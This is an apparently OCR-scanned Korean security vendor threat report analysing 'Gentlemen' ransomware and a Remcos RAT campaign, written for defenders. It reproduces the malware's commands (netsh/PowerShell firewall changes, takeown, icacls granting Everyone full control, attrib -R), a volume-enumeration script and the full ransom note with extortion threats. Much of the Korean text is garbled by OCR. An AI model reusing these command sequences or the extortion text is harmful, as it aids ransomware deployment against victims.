% netsh.exe (6112) ELEER-TF netsh advfirewall firewall set rule "group=Hetwork Discovery” new enable=Ves
% powershell.exe (956@)Windons PowerShell powershell -Command "Get-NetFirewallRule -DisplayGroup \"Network Discovery\” | Enable-NetFirewallRule"
7 takeown.exe (7748) [Takes ownership of a file Takeown 7T 0% 71 7d ¥
& takeown.exe (8752) [Takes ownership of a file ‘takeown /f "C:\Documents and Settings” /r /d y
1 takeown.exe (992)  [Takes ownership of a file takeown /f C:\DumpStack.log.tmp /r /d y ASE M MY A9H HA
“ icacls.exe (4644) icacls D:\ /grant *5-1-1-@:(OI)(CI)F /T
¥ icacls.exe (4212) icacls C:\DumpStack.log.tmp /grant *S-1-1-8:(OI)(CI)F /T
% attrib.exe (2512) 2lE| attrib -R D:\
treih a4 25 tbeih -2 ¢ log +
[o] P3| K=} S =
(TS o8t =& dM]

HEW HHAH = T =& A0 THelE =2 ALEOHH, PCo| 22 =
AE{ZE[0|= ME B 7hefet SHE0M A El= 2R1AH S} =BT 2

—

AMEE mield == CfEa 2

rr
glo

powershell -NoProfile -Command "
$volumes=@();
# Lt ZE 2tE WMIL| Win32_Volume A E A|ARIC| BE EES X3 A=
$volumes+=Get-WmiObject -Class Win32_Volume|Where-Object{
#'X:\' gEflel =20l 2X1E Tl 280 HER
$_Name -like *:\*'
# =8 A0l Name(Z 2 BXHLE) 2 &6l HHEof| =7t
}Select-Object -ExpandProperty Name;

0 N O o b 0N -

9 #E2HAEH 28 22 2t M

10 try{

1 $volumes+=Get-ClusterSharedVolume|ForEach-Object{
12 $_.SharedVolumelnfo.FriendlyVolumeName

13 }
14 }catch{};
15 $volumes"

21 9 Zai{AE| 25 SA0f 0[O, YRS FK|2 2ol SIS 9o T2 93 B pid

S == olaxilosRMEE)
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P g
MIts fdpHost + SSDPSRV 243t

EP4 Jhs

2ot

SSDPSRV + upnphost

2 sGA Eetao|H 2026.07

Mei/oizio]
SMB O (Windows PC) EfM 7|5
NAS / AE2|X| (UPnP/SSDP), 7|Et HE

=L¥ s

A3 FHA| (Z2IE, 1oT) B

M 7S eMot
3 fdrespub (Function Discovery O PC XRME HER 30| Z, CHE 248 = AETHO| PC YA Jts
Resource Publication) g3}
grote sixl|  netsh (2II7HA] BEA]) netsh advfirewall firewall set rule "group=Network Discovery"
new enable=Yes
Sote sHA|  PowerShell (WFP APl Bf4]) Get-NetFirewallRule -DisplayGroup "Network Discovery" |
Enable-NetFirewallRule
. orost A M
T tskeown exe (7748) |Takes ownership of a Tile Eakeonn /7 D\ 7 74y .
B rovenmone (993 [Tabos oumeranin of » 1i1e ke 11 e zom Y otsstH W 29H WA
4 icacls.exe (4684) icacls D:\ /grant *S-1-1-8:(OI)(CI)F /T
# icacls.exe (4212) icacls C:\DumpStack.log.tmp /grant *S-1-1-8:(0I)(CI)F /T
¥ attr:xiexa (25:‘213 iﬁ i; : a::r‘li :: f:\ s
([ AR HE]
It AootE S| © I F2 270l 28 stz A2 UXISH| fIgh 7|s0| AAHE=CH
ol 7|s2 I[fo' oot Oias ME = I ARHS A AHo= HASH Everyonel| #otE
Z715HH, e47| ©&S SHA|SHCE.
= o o9
ARHHE takeown /f <CH& IH> /r/dy CHAN O} FE= ZHo| AQFHE
HY AFo= HE
et 20 icacls <CHAf It /grant *S-1-1-0:(0l)(CI)F /T EveryoneOl T&| M|of #ets F=7t
27| & x| attrib -R <CHAN THY > CHar mhdof e | & &4 S|

OfIAX|OflOERM=(F)
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e 4 EEL7|
A 0 L

T as- d=
s ez - or 3
A EXZT
B - =r R sl
SEEC ME D=7 =
&~ v o s LEPC » EZ CI23 (C) » Program Files (86) » ransom EEXG v | D
~
= TET 2R 82 37
# AR
D README-GENTLEMEN. txt 2026-07-02 2% 3:35 q 3KB
@ OneDrive [ test 3dm umc1gh 2026-07-02 2% 3:35  UMCI6H LY 1,697KB
= pC M0 HxD - [C:#Program Files (x86)%ransom ZHEHAHstest 3dm.umcish] - O X
= EUES ) TEEm BEE EAE) 2V 240 7B E2E &2 W) ? - &%
Bl )| 416 | ans v e EE §
[# test3dmumcigh ) test3dsumcish
Offset(h) 00 01 02 03 04 05 06 07 08 09 OA OB OC OD OE OF ~
001A8020 F9 8D 8D Fé 73 Fl 4A JE F3 EE €4 04 B3 BB C8 23 1..5sAd~uij.f»E#
00128030 E5 39 DB 13 DF 58 E4 28 BE 04 75 9F F7 F2 53 D1 A&90.B8X& (%.u¥=4sH
00128040 B3 A7 EB 06 EO 41 DD AE €7 BC BF CB CF &2 25 1C *§&.3AY@gh:EI¢s.
001A8050 17 2E OC 93 74 83 CF 24 40 F3 DO C7 CD Ol 7F EF ... zfIs@eaci..i
00128060 86 1C E2 OF E9 26 OD F9 €3 27 03 2& €D BF DO D5 t.&.é&.uc'.*mBl
00128070 OB F€ 3E DD FO CO 01 26 BE DD De 32 F5 DF 99 Al .o>Yah,extbase™;
O01AB080 C2 C3 6% 33 66 51 DC 7D 92 2F 40 34 C5 21 22 AB ARi3£QU}’/@4d!m«
00128090 6E 18 2F 90 D3 2F E2 75 C4 A4 E1 46 34 D3 53 32 n./.0/dukniFads:
001AB0R0 1E AA 85 03 DF 90 43 €2 15 E§ 30 75 €C 87 2C FC .*..A.Cb.&0ul%,d
001AB0BO 54 C8 FD 5A BD €4 31 53 DE DO D7 D4 FB 35 15 04 TE§Z+=d1SEE=0GS5. .
001AB0CO 29 BE ) T.M01T. £.58
001RB0D0 &5 70 eph—-£532VBDbNZ[Lo
001AB0EO0 6F 30 00ulSNhkI04Z szul
001ABOFO 50 79 PyPPwSuh8X7BXeHA
001A8100 3D OR 2D 2D 6D €1 72 €B €5 72 2D 2D 47 45 4E 54 | =.--marker--GENT
001A8110 4C 45 4D 45 4E OB 47 45 4E 54 4C 45 4D 45 4E LEMEN . GENTLEMEN
v
2I4- 1AB0DE EN RS
= = p—
23470 BE 170 TS MU 1.65MB

(=t &3]

oo Ce DU S Lol = 2f2f0] Soot0f| R H|Ef H|O|E = base64 Q12 E =N, oj
O|O[E OEX|2H0]| --eph--<base64>, --marker--GENTLEMEN. GENTLEMENH Z=JEICE

TH SHRRHS umc16hQE HEIH, T1Y Qersivt @R e bat THUS 444 9! Adstol
2hi90f EXlot MAE bat IIUS AHSHCE

S == olaxilosRMEE)
=
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= YOUR ID

Gentlemen, your network has been encrypted

1. Any modification of encrypted files will make recovery impossible.
2. Only our unique decryption key and software can restore your files.
Brute-force, RAM dumps, third-party recovery tools are useless.
a fundamental mathematical reality. Only

oy
vil only waste your time, take your money, and block you from recovering your files — your bi
empt to restore systems, or refusal to negotiate, may lead to irreversible wipe of all data and
5. We have exfiltrated all your confidential and business data (including NAS, clouds, etc)
If you do ot contact us, it will be published on our leak site and distributed to major hack forums ¢
In addition, it will be reported to the relevant data protection authorities and regulators.
This may result in official investigations, significant fines, and reputational damage for your company.
6. We guarantee 100% file recovery to their original state, bt by bit.
To demonstrate the quality of our work, you can provide two sample files, and we will restore them

TOX CONTACT - RECOVER YOUR FILES
<
L1, Col 1 80%  Windows (CRLF)  UTF-8

MSH 2HuQlols Qssiot AR E = AFBXF Temp ZCH0fl 12 Tkl gentlemen.bmpol
M5O, AT 02 T vl S| eIt

Loty £ E LHEOZ H0|F 0|& 2FE St HlOle &
XChaCha20 7|Bto 2 A= olut T (0] H[O|E S LA
I Ao} SHiH|of Ciet FHE 2716

{utat Curve25519 ECDH +

=
sl =32 s e HWEL=

i M
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5. X=Q HOt LA 2 SGA 2etz0|E 2026.07

# ‘MS BI=’ 2 Zoll BH2ll0l 52! 2 £8 X2

SZXIE0| 2ot XS 3|n|sty| /ol 00| A ZATE(MS) 2| Hed 2HE 'MS EX'(Teams)E
77 |efet Aol S & ZH[QI0] ALY,

- =X https://www.boannews.com/media/view.asp?idx=144156&page=128&kind=1

# 43S OIZIAEI0f 2L, MIHI 28 212E1 4000CH 014 2i8d... XA HioH =282 si=
MIA =222 71 2HRE] 4000t O] &2 HEAIAH o ERES SA[SHs ZEAIZ A&0t= US

24l 'of2| AR (AryStinger) 7t ZEAIFICE

- ZX: https://www.boannews.com/media/view.asp?idx=144260&page=8&kind=4

SGASEMX HICITOIE Lio

Al 7|8 XEHICH N
a x| 22| £8M
OE[HIO| A 22M Hx 22| &84

@ VirusChaser10"@ @ PatchChaser &) VirusChaser LIPCX|70]

S == oixxlojaRuxF)
=
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https://sgaeps.kr/product/VirusChaser_10TM_AI
https://sgaeps.kr/product/PatchChaser
https://sgaeps.kr/product/VirusChaser_MyInspect
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HL
o
=
=
.
=
x
[
ot
rir
HL
e
i
k=l
-
02t

FH YR O AF/

Remcos RAT HHE

FSoH N0 AN -
OFE| HiOl2|A HIE 2 23]
x|t

IS 2 20f A -
501 05 / 2 Bt

HEoH s A0 EAIN -

al
ES

0
2410| DNS & g HAS AFSXL 2 EeteEs
Sto| M Zstn Eei FA| 25

2|ZtSHo] RAR &= IH
E otls M5t e A PowerShell

=2 S2f0|E0|M F7HHo|2
St 5| MAF T2 M| A0 Remcos RAT

Windows Defender A|ZH ZHA|S HIEMStst D
C C2lo|2 HAIE AAL M2l =02 SESI0 H
Ol EIX|Z 23|5HH, 2 A Z et K| AER|
RUNY| O|ZOZ At= Alg =2

vssadmin, wmicE Sl 28 Mx SAHES A
St wevtutil2 A|AE! OfE2|H[0|d, £t OHIE
275 MH|SHH Prefetch, RDP 21, Windows
Defender X[ MUK AH[SHO] S XHEt

SMB, UPnP 221 1|E2|3 Ef4 MH|AS ZH &
dototn Yot Al A1 S SIS LR A
=AY S eiotH, 22AH S|/ =57 Y=st

Curve25519 7|43t XChaCha20 AER AT E
AHESHO U S Aot =EALE .umc16hz2
HYSIH, Y=ot 2tm T AWMLY 2/IE XIS =
AFH|

25

231 At
2P E{2| HAO] 2| M HH FX| 2
BE| X H[2HS HE

ol 92l 29E{0| DNS 4% HE ol 1

Windows Defender S A AA|ZHZIA] &
A H2| ™o chst S EH|

O[HIE 21 BLIEY A3}
EDR &%l 7|4t x| £2H 29

e AA1ER Y x| AER] =715 HY

el

Z2 H|oJE

EE M SAHE M| B oA Al RHS X
M Gl o[HIE 21 ZH| £7|3} X £ HE
O[HIE 2OZ HT 27 MH{(SIEM)Z A7t
HE5t0] AA| Ch|

ST ST S M| A B2
Lsat =S HaHE|M Mo
2490f 55 0|5 xfet

2901 K| Al 52 22
Hy|x omatol wels Sa st ufs)
542}
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